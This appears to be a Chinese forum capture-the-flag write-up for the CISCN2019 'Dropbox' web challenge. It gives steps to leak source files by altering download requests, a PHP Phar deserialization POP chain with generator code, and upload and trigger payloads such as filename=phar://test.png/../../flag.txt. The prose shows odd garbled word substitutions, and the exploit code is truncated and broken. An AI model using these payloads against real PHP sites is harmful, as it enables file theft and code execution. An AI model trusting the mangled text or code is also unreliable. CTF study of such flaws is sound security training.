[CISCN2019 华北赛区 Day1 Web1]Dropbox

[复制链接]
发表于 昨天 02:07 | 显示全部楼层 |阅读模式
3.实验原理
文件读取毛病,Phar反序列化,改包下载源代码
4.实验步调
打开靶场,首页是登岸注册页,先注册一个登岸一下

进去后看到是文件上传,这里先任意上传一下,这里上传php文件不可,上传png可以
看到又下载/删除按键,然后点击一下就可以下载了


这里就有毛病疑点了文件泄漏,通过下载改包得到网页源代码,网页一样平常源代码位置:/var/www/html然后加上创建的项目文件(index.php,down.php,upload.php,register.php,login.php,class.php,delete.php)

检察后,看到关键代码


这里的class.php非常紧张,就是攻击出发点经典的Phar反序列化RCE /恣意文件读取毛病

User::__destruct()

$this->db->close();

(如果 $db 是 FileList 对象)

FileList::__call("close", ...)

循环调用 $file->close()

File::close()

file_get_contents($this->filename)
如果把db` 控制成 FileList 对象就会触发 FileList 的 __call () 把戏方法终极调用 File 类的 close () = file_get_contents ()
构造的POP链
User
└─ $db = FileList
└─ $files = [ File ]
└─ $filename = /flag.txt
files = array(new File());    }}class File{    public $filename = '/flag.txt';}// 构造 POP 链$o = new User();$o->db = new FileList();// 天生 Phar$phar = new Phar('test.phar');$phar->startBuffering();$phar->addFromString('test.txt', 'test');$phar->setStub(''); // 修复空格$phar->setMetadata($o);
$phar->stopBuffering();
?>
然后下令实验天生攻击文件
"D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe" -d phar.readonly=0 4.php

然后文件上传,上传时间要抓包修改后缀以及文件吸收范例,否则上传不了

然后去删除它,也要抓包,修改filename的参数:phar://test.png得到flag

如许传filename=phar://test.png/../../flag.txt也是可以的


免责声明:如果侵犯了您的权益,请联系站长及时删除侵权内容,谢谢合作!qidao123.com:ToB企服之家,中国第一个企服评测及软件市场,开放入驻,技术点评得现金.

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表